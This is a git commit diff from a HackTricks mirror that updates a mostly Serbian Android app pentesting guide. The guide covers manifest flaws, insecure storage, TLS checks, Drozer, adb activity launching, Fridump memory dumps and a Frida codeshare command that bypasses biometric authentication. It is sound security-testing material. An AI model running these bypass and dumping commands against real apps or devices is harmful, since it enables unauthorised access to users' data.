mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's
This commit is contained in:
parent
ffc64f955a
commit
0f5500427a
@ -348,6 +348,7 @@
|
||||
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
|
||||
- [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md)
|
||||
- [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md)
|
||||
- [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md)
|
||||
- [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md)
|
||||
- [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md)
|
||||
- [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md)
|
||||
|
@ -19,16 +19,16 @@ Pogledajte sledeću listu [**ADB Komandi**](adb-commands.md) da biste naučili k
|
||||
|
||||
## Smali
|
||||
|
||||
Ponekad je zanimljivo **modifikovati kod aplikacije** da biste pristupili **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili zastavicama). Tada bi moglo biti zanimljivo dekompilirati apk, modifikovati kod i recompile-ovati ga.\
|
||||
[**U ovom tutorijalu** možete **naučiti kako dekompilirati APK, modifikovati Smali kod i recompile-ovati APK** sa novom funkcionalnošću](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Tada, **uvek imajte na umu ovu mogućnost**.
|
||||
Ponekad je zanimljivo **modifikovati kod aplikacije** da biste pristupili **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili zastavicama). Tada bi moglo biti zanimljivo dekompilirati apk, modifikovati kod i rekompilirati ga.\
|
||||
[**U ovom tutorijalu** možete **naučiti kako dekompilirati APK, modifikovati Smali kod i rekompilirati APK** sa novom funkcionalnošću](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Tada, **uvek imajte na umu ovu mogućnost**.
|
||||
|
||||
## Drugi zanimljivi trikovi
|
||||
## Druge zanimljive trikove
|
||||
|
||||
- [Lažiranje vaše lokacije u Play Store-u](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (ADB-bazirani pristup bez root-a)](shizuku-privileged-api.md)
|
||||
- [Iskorišćavanje nesigurnih mehanizama ažuriranja unutar aplikacije](insecure-in-app-update-rce.md)
|
||||
- **Preuzimanje APK-ova**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Ekstrakt APK sa uređaja:
|
||||
- Ekstrakcija APK-a sa uređaja:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
com.android.insecurebankv2
|
||||
@ -47,12 +47,18 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
|
||||
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
|
||||
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
```
|
||||
## Staticka Analiza
|
||||
## Case Studies & Vulnerabilities
|
||||
|
||||
{{#ref}}
|
||||
../ios-pentesting/air-keyboard-remote-input-injection.md
|
||||
{{#endref}}
|
||||
|
||||
## Static Analysis
|
||||
|
||||
Prvo, za analizu APK-a trebate **pogledati Java kod** koristeći dekompajler.\
|
||||
Molimo, [**pročitajte ovde da biste pronašli informacije o različitim dostupnim dekompajlerima**](apk-decompilers.md).
|
||||
|
||||
### Traženje zanimljivih informacija
|
||||
### Looking for interesting Info
|
||||
|
||||
Samo gledajući **stringove** APK-a možete tražiti **lozinke**, **URL-ove** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** ključeve, **enkripciju**, **bluetooth uuids**, **tokene** i sve što je zanimljivo... potražite čak i **backdoor-e** za izvršavanje koda ili backdoor-e za autentifikaciju (hardkodirane admin kredencijale za aplikaciju).
|
||||
|
||||
@ -60,19 +66,19 @@ Samo gledajući **stringove** APK-a možete tražiti **lozinke**, **URL-ove** ([
|
||||
|
||||
Obratite posebnu pažnju na **firebase URL-ove** i proverite da li je loše konfigurisano. [Više informacija o tome šta je Firebase i kako ga iskoristiti ovde.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Osnovno razumevanje aplikacije - Manifest.xml, strings.xml
|
||||
### Basic understanding of the application - Manifest.xml, strings.xml
|
||||
|
||||
**Istraživanje _Manifest.xml_ i _strings.xml_ datoteka aplikacije može otkriti potencijalne sigurnosne ranjivosti**. Ove datoteke se mogu pristupiti koristeći dekompajlere ili preimenovanjem ekstenzije APK datoteke u .zip i zatim raspakivanjem.
|
||||
|
||||
**Ranjivosti** identifikovane iz **Manifest.xml** uključuju:
|
||||
|
||||
- **Debuggable aplikacije**: Aplikacije postavljene kao debuggable (`debuggable="true"`) u _Manifest.xml_ datoteci predstavljaju rizik jer omogućavaju veze koje mogu dovesti do eksploatacije. Za dalju pomoć o tome kako iskoristiti debuggable aplikacije, pogledajte tutorijal o pronalaženju i eksploataciji debuggable aplikacija na uređaju.
|
||||
- **Podešavanja rezervne kopije**: Atribut `android:allowBackup="false"` treba eksplicitno postaviti za aplikacije koje se bave osetljivim informacijama kako bi se sprečile neovlašćene rezervne kopije podataka putem adb, posebno kada je usb debugging omogućen.
|
||||
- **Mrežna sigurnost**: Prilagođene konfiguracije mrežne sigurnosti (`android:networkSecurityConfig="@xml/network_security_config"`) u _res/xml/_ mogu specificirati sigurnosne detalje kao što su pinovi sertifikata i podešavanja HTTP saobraćaja. Primer je omogućavanje HTTP saobraćaja za određene domene.
|
||||
- **Izvezene aktivnosti i servisi**: Identifikacija izvezenih aktivnosti i servisa u manifestu može istaknuti komponente koje bi mogle biti zloupotrebljene. Dalja analiza tokom dinamičkog testiranja može otkriti kako iskoristiti ove komponente.
|
||||
- **Content Providers i FileProviders**: Izloženi content providers mogli bi omogućiti neovlašćen pristup ili modifikaciju podataka. Konfiguracija FileProviders takođe treba biti pažljivo ispitana.
|
||||
- **Broadcast Receivers i URL sheme**: Ove komponente se mogu iskoristiti za eksploataciju, sa posebnim naglaskom na to kako se URL sheme upravljaju za ranjivosti unosa.
|
||||
- **SDK verzije**: Atributi `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` ukazuju na podržane Android verzije, ističući važnost ne podržavanja zastarelih, ranjivih Android verzija iz sigurnosnih razloga.
|
||||
- **Debuggable Applications**: Aplikacije postavljene kao debuggable (`debuggable="true"`) u _Manifest.xml_ datoteci predstavljaju rizik jer omogućavaju veze koje mogu dovesti do eksploatacije. Za dalje razumevanje kako iskoristiti debuggable aplikacije, pogledajte tutorijal o pronalaženju i eksploataciji debuggable aplikacija na uređaju.
|
||||
- **Backup Settings**: Atribut `android:allowBackup="false"` treba eksplicitno postaviti za aplikacije koje se bave osetljivim informacijama kako bi se sprečili neovlašćeni backup podataka putem adb, posebno kada je usb debugging omogućen.
|
||||
- **Network Security**: Prilagođene konfiguracije mrežne sigurnosti (`android:networkSecurityConfig="@xml/network_security_config"`) u _res/xml/_ mogu specificirati sigurnosne detalje kao što su pinovi sertifikata i podešavanja HTTP saobraćaja. Primer je omogućavanje HTTP saobraćaja za određene domene.
|
||||
- **Exported Activities and Services**: Identifikacija eksportovanih aktivnosti i servisa u manifestu može istaknuti komponente koje bi mogle biti zloupotrebljene. Dalja analiza tokom dinamičkog testiranja može otkriti kako iskoristiti ove komponente.
|
||||
- **Content Providers and FileProviders**: Izloženi provajderi sadržaja mogli bi omogućiti neovlašćen pristup ili modifikaciju podataka. Konfiguracija FileProviders-a takođe treba biti pažljivo ispitana.
|
||||
- **Broadcast Receivers and URL Schemes**: Ove komponente se mogu iskoristiti za eksploataciju, sa posebnim naglaskom na to kako se upravlja URL shemama za ranjivosti unosa.
|
||||
- **SDK Versions**: Atributi `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` ukazuju na podržane verzije Android-a, ističući važnost ne podržavanja zastarelih, ranjivih verzija Android-a iz bezbednosnih razloga.
|
||||
|
||||
Iz **strings.xml** datoteke, osetljive informacije kao što su API ključevi, prilagođene sheme i druge beleške programera mogu se otkriti, naglašavajući potrebu za pažljivim pregledom ovih resursa.
|
||||
|
||||
@ -87,9 +93,9 @@ Pronađite više informacija u:
|
||||
tapjacking.md
|
||||
{{#endref}}
|
||||
|
||||
### Preuzimanje zadataka
|
||||
### Task Hijacking
|
||||
|
||||
**Aktivnost** sa **`launchMode`** postavljenim na **`singleTask` bez definisanog `taskAffinity`** je ranjiva na preuzimanje zadataka. To znači da se **aplikacija** može instalirati i ako se pokrene pre prave aplikacije, mogla bi **preuzeti zadatak prave aplikacije** (tako da korisnik misli da koristi pravu aplikaciju dok zapravo koristi **malicioznu aplikaciju**).
|
||||
**Aktivnost** sa **`launchMode`** postavljenim na **`singleTask` bez definisanog `taskAffinity`** je ranjiva na task hijacking. To znači da se **aplikacija** može instalirati i ako se pokrene pre prave aplikacije, mogla bi **oteti zadatak prave aplikacije** (tako da će korisnik interagovati sa **malicioznom aplikacijom misleći da koristi pravu**).
|
||||
|
||||
Više informacija u:
|
||||
|
||||
@ -97,44 +103,44 @@ Više informacija u:
|
||||
android-task-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
### Nesigurno skladištenje podataka
|
||||
### Insecure data storage
|
||||
|
||||
**Interno skladište**
|
||||
**Internal Storage**
|
||||
|
||||
U Androidu, datoteke **smeštene** u **interno** skladište su **dizajnirane** da budu **pristupačne** isključivo od strane **aplikacije** koja ih je **napravila**. Ova sigurnosna mera je **sprovedena** od strane Android operativnog sistema i obično je adekvatna za sigurnosne potrebe većine aplikacija. Međutim, programeri ponekad koriste režime kao što su `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` da **omoguće** deljenje datoteka između različitih aplikacija. Ipak, ovi režimi **ne ograničavaju pristup** ovim datotekama od strane drugih aplikacija, uključujući potencijalno maliciozne.
|
||||
U Android-u, datoteke **pohranjene** u **internom** skladištu su **dizajnirane** da budu **pristupačne** isključivo od strane **aplikacije** koja ih je **napravila**. Ova sigurnosna mera je **sprovedena** od strane Android operativnog sistema i obično je adekvatna za sigurnosne potrebe većine aplikacija. Međutim, programeri ponekad koriste režime kao što su `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` da bi **omogućili** deljenje datoteka između različitih aplikacija. Ipak, ovi režimi **ne ograničavaju pristup** ovim datotekama od strane drugih aplikacija, uključujući potencijalno maliciozne.
|
||||
|
||||
1. **Staticka analiza:**
|
||||
1. **Static Analysis:**
|
||||
- **Osigurajte** da se korišćenje `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` **pažljivo ispita**. Ovi režimi **mogu potencijalno izložiti** datoteke **neprikladnom ili neovlašćenom pristupu**.
|
||||
2. **Dinamička analiza:**
|
||||
2. **Dynamic Analysis:**
|
||||
- **Proverite** **dozvole** postavljene na datotekama koje kreira aplikacija. Konkretno, **proverite** da li su neke datoteke **postavljene da budu čitljive ili zapisive globalno**. Ovo može predstavljati značajan sigurnosni rizik, jer bi omogućilo **bilo kojoj aplikaciji** instaliranoj na uređaju, bez obzira na njen izvor ili nameru, da **čita ili modifikuje** ove datoteke.
|
||||
|
||||
**Eksterno skladište**
|
||||
**External Storage**
|
||||
|
||||
Kada se radi o datotekama na **eksternom skladištu**, kao što su SD kartice, treba preduzeti određene mere opreza:
|
||||
Kada se radi o datotekama na **spoljnom skladištu**, kao što su SD kartice, treba preduzeti određene mere opreza:
|
||||
|
||||
1. **Pristupačnost**:
|
||||
- Datoteke na eksternom skladištu su **globalno čitljive i zapisive**. To znači da bilo koja aplikacija ili korisnik može pristupiti tim datotekama.
|
||||
2. **Sigurnosne brige**:
|
||||
- S obzirom na lakoću pristupa, savetuje se **da se ne skladište osetljive informacije** na eksternom skladištu.
|
||||
- Eksterno skladište može biti uklonjeno ili pristupljeno od strane bilo koje aplikacije, što ga čini manje sigurnim.
|
||||
3. **Rukovanje podacima iz eksternog skladišta**:
|
||||
- Uvek **izvršite validaciju unosa** na podacima preuzetim iz eksternog skladišta. Ovo je ključno jer su podaci iz nepouzdanog izvora.
|
||||
- Skladištenje izvršnih ili klasa datoteka na eksternom skladištu za dinamičko učitavanje se snažno ne preporučuje.
|
||||
- Ako vaša aplikacija mora preuzeti izvršne datoteke iz eksternog skladišta, osigurajte da su te datoteke **potpisane i kriptografski verifikovane** pre nego što se dinamički učitaju. Ovaj korak je ključan za održavanje sigurnosne integriteta vaše aplikacije.
|
||||
1. **Accessibility**:
|
||||
- Datoteke na spoljnjem skladištu su **globalno čitljive i zapisive**. To znači da bilo koja aplikacija ili korisnik može pristupiti tim datotekama.
|
||||
2. **Security Concerns**:
|
||||
- S obzirom na lakoću pristupa, savetuje se **da se ne čuvaju osetljive informacije** na spoljnjem skladištu.
|
||||
- Spoljno skladište može biti uklonjeno ili pristupljeno od strane bilo koje aplikacije, što ga čini manje sigurnim.
|
||||
3. **Handling Data from External Storage**:
|
||||
- Uvek **izvršite validaciju unosa** na podacima preuzetim iz spoljnog skladišta. Ovo je ključno jer su podaci iz nepouzdanog izvora.
|
||||
- Čuvanje izvršnih ili klasa datoteka na spoljnjem skladištu za dinamičko učitavanje se snažno ne preporučuje.
|
||||
- Ako vaša aplikacija mora preuzeti izvršne datoteke iz spoljnog skladišta, osigurajte da su te datoteke **potpisane i kriptografski verifikovane** pre nego što se dinamički učitaju. Ovaj korak je ključan za održavanje sigurnosne integriteta vaše aplikacije.
|
||||
|
||||
Eksterno skladište može biti **pristupano** u `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
Spoljno skladište može biti **pristupano** u `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
> [!TIP]
|
||||
> Počevši od Android 4.4 (**API 17**), SD kartica ima strukturu direktorijuma koja **ograničava pristup aplikaciji na direktorijum koji je specifično za tu aplikaciju**. Ovo sprečava malicioznu aplikaciju da dobije pristup za čitanje ili pisanje datoteka druge aplikacije.
|
||||
|
||||
**Osetljivi podaci pohranjeni u čistom tekstu**
|
||||
**Sensitive data stored in clear-text**
|
||||
|
||||
- **Deljene preferencije**: Android omogućava svakoj aplikaciji da lako sačuva xml datoteke na putanji `/data/data/<packagename>/shared_prefs/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli.
|
||||
- **Baze podataka**: Android omogućava svakoj aplikaciji da lako sačuva sqlite baze podataka na putanji `/data/data/<packagename>/databases/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli.
|
||||
- **Shared preferences**: Android omogućava svakoj aplikaciji da lako sačuva xml datoteke na putanji `/data/data/<packagename>/shared_prefs/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli.
|
||||
- **Databases**: Android omogućava svakoj aplikaciji da lako sačuva sqlite baze podataka na putanji `/data/data/<packagename>/databases/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli.
|
||||
|
||||
### Slomljeni TLS
|
||||
### Broken TLS
|
||||
|
||||
**Prihvatanje svih sertifikata**
|
||||
**Accept All Certificates**
|
||||
|
||||
Iz nekog razloga, ponekad programeri prihvataju sve sertifikate čak i ako, na primer, ime hosta ne odgovara sa linijama koda poput sledeće:
|
||||
```java
|
||||
@ -147,7 +153,7 @@ Dobar način da testirate ovo je da pokušate da uhvatite saobraćaj koristeći
|
||||
|
||||
**Loši Procesi Upravljanja Ključevima**
|
||||
|
||||
Neki programeri čuvaju osetljive podatke u lokalnoj memoriji i šifruju ih sa ključem koji je hardkodiran/predvidljiv u kodu. Ovo ne bi trebalo da se radi jer bi neki proces obrnute inženjeringa mogao omogućiti napadačima da izvuku poverljive informacije.
|
||||
Neki programeri čuvaju osetljive podatke u lokalnoj memoriji i šifruju ih ključem koji je hardkodiran/predvidljiv u kodu. Ovo ne bi trebalo da se radi jer bi neki proces obrnute inženjeringa mogao omogućiti napadačima da izvuku poverljive informacije.
|
||||
|
||||
**Korišćenje Nesigurnih i/ili Zastarelih Algoritama**
|
||||
|
||||
@ -158,7 +164,7 @@ Programeri ne bi trebali koristiti **zastarele algoritme** za obavljanje **prove
|
||||
- Preporučuje se da se **obfuskira APK** kako bi se otežao posao obrnute inženjeringa napadačima.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), treba da izvrši **svoje provere da vidi da li je mobilni uređaj root-ovan** i da deluje u skladu s tim.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), treba da proveri da li se koristi **emulator**.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), treba da **proveri svoju integritet pre izvršavanja** da bi proverila da li je modifikovana.
|
||||
- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), treba da **proveri svoju integritet pre izvršavanja** kako bi proverila da li je modifikovana.
|
||||
- Koristite [**APKiD**](https://github.com/rednaga/APKiD) da proverite koji je kompajler/paker/obfuskator korišćen za izgradnju APK-a.
|
||||
|
||||
### React Native Aplikacija
|
||||
@ -220,7 +226,7 @@ content-protocol.md
|
||||
|
||||
### Online Dinamička analiza
|
||||
|
||||
Možete kreirati **besplatan nalog** na: [https://appetize.io/](https://appetize.io). Ova platforma vam omogućava da **otpremite** i **izvršite** APK-ove, tako da je korisna za gledanje kako se apk ponaša.
|
||||
Možete napraviti **besplatan nalog** na: [https://appetize.io/](https://appetize.io). Ova platforma vam omogućava da **otpremite** i **izvršite** APK-ove, tako da je korisna za gledanje kako se apk ponaša.
|
||||
|
||||
Možete čak i **videti logove vaše aplikacije** na vebu i povezati se putem **adb**.
|
||||
|
||||
@ -239,17 +245,17 @@ Zahvaljujući ADB konekciji možete koristiti **Drozer** i **Frida** unutar emul
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Besplatna verzija:** Personal Edition, morate kreirati nalog. _Preporučuje se da **preuzmete** verziju **SA**_ _**VirtualBox** da biste izbegli potencijalne greške._)
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Besplatna verzija:** Personal Edition, morate napraviti nalog. _Preporučuje se da **preuzmete** verziju **SA** _**VirtualBox** da biste izbegli potencijalne greške._)
|
||||
- [**Nox**](https://es.bignox.com) (Besplatno, ali ne podržava Frida ili Drozer).
|
||||
|
||||
> [!TIP]
|
||||
> Kada kreirate novi emulator na bilo kojoj platformi, zapamtite da što je veći ekran, emulator će sporije raditi. Dakle, izaberite male ekrane ako je moguće.
|
||||
> Kada kreirate novi emulator na bilo kojoj platformi, zapamtite da što je veći ekran, emulator će sporije raditi. Dakle, odaberite male ekrane ako je moguće.
|
||||
|
||||
Da biste **instalirali google usluge** (kao što je AppStore) u Genymotion-u, potrebno je da kliknete na crveno označeno dugme na sledećoj slici:
|
||||
|
||||
.png>)
|
||||
|
||||
Takođe, primetite da u **konfiguraciji Android VM u Genymotion-u** možete izabrati **Bridge Network mode** (to će biti korisno ako ćete se povezivati na Android VM iz različitog VM-a sa alatima).
|
||||
Takođe, primetite da u **konfiguraciji Android VM u Genymotion-u** možete odabrati **Bridge Network mode** (to će biti korisno ako se povezujete na Android VM iz različitog VM-a sa alatima).
|
||||
|
||||
#### Koristite fizički uređaj
|
||||
|
||||
@ -288,7 +294,7 @@ Kao pentester, **pokušajte da pogledate ove logove**.
|
||||
|
||||
Aplikacije često integrišu usluge poput Google Adsense, što može nenamerno **izložiti osetljive podatke** zbog nepravilne implementacije od strane programera. Da biste identifikovali potencijalna curenja podataka, preporučuje se da **presretnete saobraćaj aplikacije** i proverite da li se šalju bilo kakve osetljive informacije trećim stranama.
|
||||
|
||||
### SQLite DB-ovi
|
||||
### SQLite DBs
|
||||
|
||||
Većina aplikacija će koristiti **internu SQLite bazu podataka** za čuvanje informacija. Tokom pentesta obratite pažnju na **baze podataka** koje su kreirane, imena **tabela** i **kolona** i sve **podatke** sačuvane jer biste mogli pronaći **osetljive informacije** (što bi bila ranjivost).\
|
||||
Baze podataka bi trebale biti locirane u `/data/data/the.package.name/databases` kao `/data/data/com.mwr.example.sieve/databases`.
|
||||
@ -299,7 +305,7 @@ Enumerišite tabele koristeći `.tables` i enumerišite kolone tabela koristeći
|
||||
|
||||
### Drozer (Eksploatacija Aktivnosti, Pružatelja Sadržaja i Usluga)
|
||||
|
||||
Iz [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** vam omogućava da **preuzmete ulogu Android aplikacije** i interagujete sa drugim aplikacijama. Može učiniti **sve što instalirana aplikacija može učiniti**, kao što je korišćenje Android-ovog mehanizma međuprocesne komunikacije (IPC) i interakcija sa osnovnim operativnim sistemom.\
|
||||
Iz [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** vam omogućava da **preuzmete ulogu Android aplikacije** i interagujete sa drugim aplikacijama. Može raditi **sve što instalirana aplikacija može raditi**, kao što je korišćenje Android-ovog mehanizma međuprocesne komunikacije (IPC) i interakcija sa osnovnim operativnim sistemom.\
|
||||
Drozer je koristan alat za **eksploataciju eksportovanih aktivnosti, eksportovanih usluga i Pružatelja Sadržaja** kao što ćete naučiti u sledećim sekcijama.
|
||||
|
||||
### Eksploatacija eksportovanih Aktivnosti
|
||||
@ -311,7 +317,7 @@ Takođe zapamtite da kod aktivnosti počinje u **`onCreate`** metodi.
|
||||
|
||||
Kada je Aktivnost eksportovana, možete pozvati njen ekran iz spoljne aplikacije. Stoga, ako je aktivnost sa **osetljivim informacijama** **eksportovana**, mogli biste **obići** mehanizme **autentifikacije** **da biste joj pristupili.**
|
||||
|
||||
[**Saznajte kako da eksploatišete eksportovane aktivnosti sa Drozer-om.**](drozer-tutorial/index.html#activities)
|
||||
[**Naučite kako da eksploatišete eksportovane aktivnosti sa Drozer-om.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
Takođe možete pokrenuti eksportovanu aktivnost iz adb:
|
||||
|
||||
@ -327,7 +333,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
**Curjenje osetljivih informacija**
|
||||
|
||||
**Aktivnosti takođe mogu vraćati rezultate**. Ako uspete da pronađete izvezenu i nezaštićenu aktivnost koja poziva metodu **`setResult`** i **vraća osetljive informacije**, dolazi do curenja osetljivih informacija.
|
||||
**Aktivnosti takođe mogu vraćati rezultate**. Ako uspete da pronađete izvezenu i nezaštićenu aktivnost koja poziva metodu **`setResult`** i **vraća osetljive informacije**, došlo je do curenja osetljivih informacija.
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
@ -392,7 +398,7 @@ Jedan [zanimljiv izveštaj o bug bounty](https://hackerone.com/reports/855618) o
|
||||
### Inspekcija i verifikacija transportnog sloja
|
||||
|
||||
- **Sertifikati se ne proveravaju uvek pravilno** od strane Android aplikacija. Uobičajeno je da ove aplikacije zanemaruju upozorenja i prihvataju samopotpisane sertifikate ili, u nekim slučajevima, vraćaju se na korišćenje HTTP veza.
|
||||
- **Pregovori tokom SSL/TLS rukovanja su ponekad slabi**, koristeći nesigurne kriptografske suite. Ova ranjivost čini vezu podložnom napadima "čovek u sredini" (MITM), omogućavajući napadačima da dekriptuju podatke.
|
||||
- **Pregovori tokom SSL/TLS rukovanja su ponekad slabi**, koristeći nesigurne kriptografske suite. Ova ranjivost čini vezu podložnom napadima "čovek u sredini" (MITM), omogućavajući napadačima da dešifruju podatke.
|
||||
- **Curjenje privatnih informacija** je rizik kada aplikacije autentifikuju koristeći sigurne kanale, ali zatim komuniciraju preko nesigurnih kanala za druge transakcije. Ovaj pristup ne štiti osetljive podatke, kao što su kolačići sesije ili korisnički podaci, od presretanja od strane zlonamernih entiteta.
|
||||
|
||||
#### Verifikacija sertifikata
|
||||
@ -407,7 +413,7 @@ SSL Pinning je mera sigurnosti gde aplikacija proverava sertifikat servera u odn
|
||||
|
||||
Da biste inspekciju HTTP saobraćaja, potrebno je **instalirati sertifikat alata za proxy** (npr. Burp). Bez instalacije ovog sertifikata, šifrovani saobraćaj možda neće biti vidljiv kroz proxy. Za vodič o instalaciji prilagođenog CA sertifikata, [**kliknite ovde**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Aplikacije koje ciljaju **API Level 24 i više** zahtevaju izmene u Network Security Config-u kako bi prihvatile CA sertifikat proxy-a. Ovaj korak je ključan za inspekciju šifrovanog saobraćaja. Za uputstva o izmeni Network Security Config-a, [**pogledajte ovaj tutorijal**](make-apk-accept-ca-certificate.md).
|
||||
Aplikacije koje ciljaju **API nivo 24 i više** zahtevaju izmene u Network Security Config-u kako bi prihvatile CA sertifikat proxy-a. Ovaj korak je ključan za inspekciju šifrovanog saobraćaja. Za uputstva o izmeni Network Security Config-a, [**pogledajte ovaj tutorijal**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Ako se koristi **Flutter**, potrebno je da pratite uputstva na [**ovoj stranici**](flutter.md). To je zato što, samo dodavanje sertifikata u skladište neće raditi jer Flutter ima svoju listu važećih CA.
|
||||
|
||||
@ -428,7 +434,7 @@ Važno je takođe tražiti uobičajene web ranjivosti unutar aplikacije. Detaljn
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) je alat za dinamičku instrumentaciju za programere, inženjere obrnutog inženjeringa i istraživače sigurnosti.\
|
||||
**Možete pristupiti pokrenutim aplikacijama i povezati metode u vreme izvođenja da promenite ponašanje, promenite vrednosti, izdvojite vrednosti, pokrenete različit kod...**\
|
||||
**Možete pristupiti pokrenutim aplikacijama i povezati metode u vreme izvođenja da promenite ponašanje, promenite vrednosti, izvučete vrednosti, pokrenete različit kod...**\
|
||||
Ako želite da testirate Android aplikacije, morate znati kako koristiti Frida.
|
||||
|
||||
- Naučite kako koristiti Frida: [**Frida tutorijal**](frida-tutorial/index.html)
|
||||
@ -439,7 +445,7 @@ Ako želite da testirate Android aplikacije, morate znati kako koristiti Frida.
|
||||
|
||||
### **Dump Memorije - Fridump**
|
||||
|
||||
Proverite da li aplikacija čuva osetljive informacije unutar memorije koje ne bi trebala da čuva, kao što su lozinke ili mnemotehničke asocijacije.
|
||||
Proverite da li aplikacija čuva osetljive informacije unutar memorije koje ne bi trebala da čuva, kao što su lozinke ili mnemoničke fraze.
|
||||
|
||||
Korišćenjem [**Fridump3**](https://github.com/rootbsd/fridump3) možete dump-ovati memoriju aplikacije sa:
|
||||
```bash
|
||||
@ -450,7 +456,7 @@ python3 fridump3.py -u <PID>
|
||||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Ovo će isprazniti memoriju u ./dump folder, i tamo možete koristiti grep sa nečim poput:
|
||||
Ovo će isprazniti memoriju u ./dump folder, a tamo možete koristiti grep sa nečim poput:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
@ -470,7 +476,7 @@ Korišćenjem sledećeg Frida skripta može biti moguće **zaobići autentifikac
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **Pozadine slika**
|
||||
### **Pozadinske slike**
|
||||
|
||||
Kada stavite aplikaciju u pozadinu, Android čuva **snimak aplikacije** tako da kada se vrati u fokus, počinje da učitava sliku pre aplikacije, pa izgleda kao da je aplikacija učitana brže.
|
||||
|
||||
@ -505,7 +511,7 @@ Verovatno znate o ovim vrstama ranjivosti sa weba. Morate biti posebno oprezni s
|
||||
|
||||
- **SQL Injection:** Kada se bavite dinamičkim upitima ili Content-Providers, osigurajte da koristite parametarske upite.
|
||||
- **JavaScript Injection (XSS):** Proverite da li je podrška za JavaScript i Plugin onemogućena za bilo koje WebViews (onemogućena po defaultu). [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** WebViews bi trebale imati onemogućen pristup sistemu datoteka (omogućen po defaultu) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** WebViews bi trebale imati onemogućen pristup fajl sistemu (omogućen po defaultu) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: U nekoliko slučajeva kada Android aplikacija završi sesiju, kolačić nije opozvan ili može čak biti sačuvan na disku.
|
||||
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
@ -534,32 +540,32 @@ MobSF takođe omogućava **diff/Compare** analizu i integraciju **VirusTotal** (
|
||||
**MobSF** može biti veoma koristan za **dinamičku analizu** u **Android**, ali u tom slučaju ćete morati da instalirate MobSF i **genymotion** na vašem hostu (VM ili Docker neće raditi). _Napomena: Prvo treba da **pokrenete VM u genymotion** a **zatim MobSF.**_\
|
||||
**MobSF dinamički analizer** može:
|
||||
|
||||
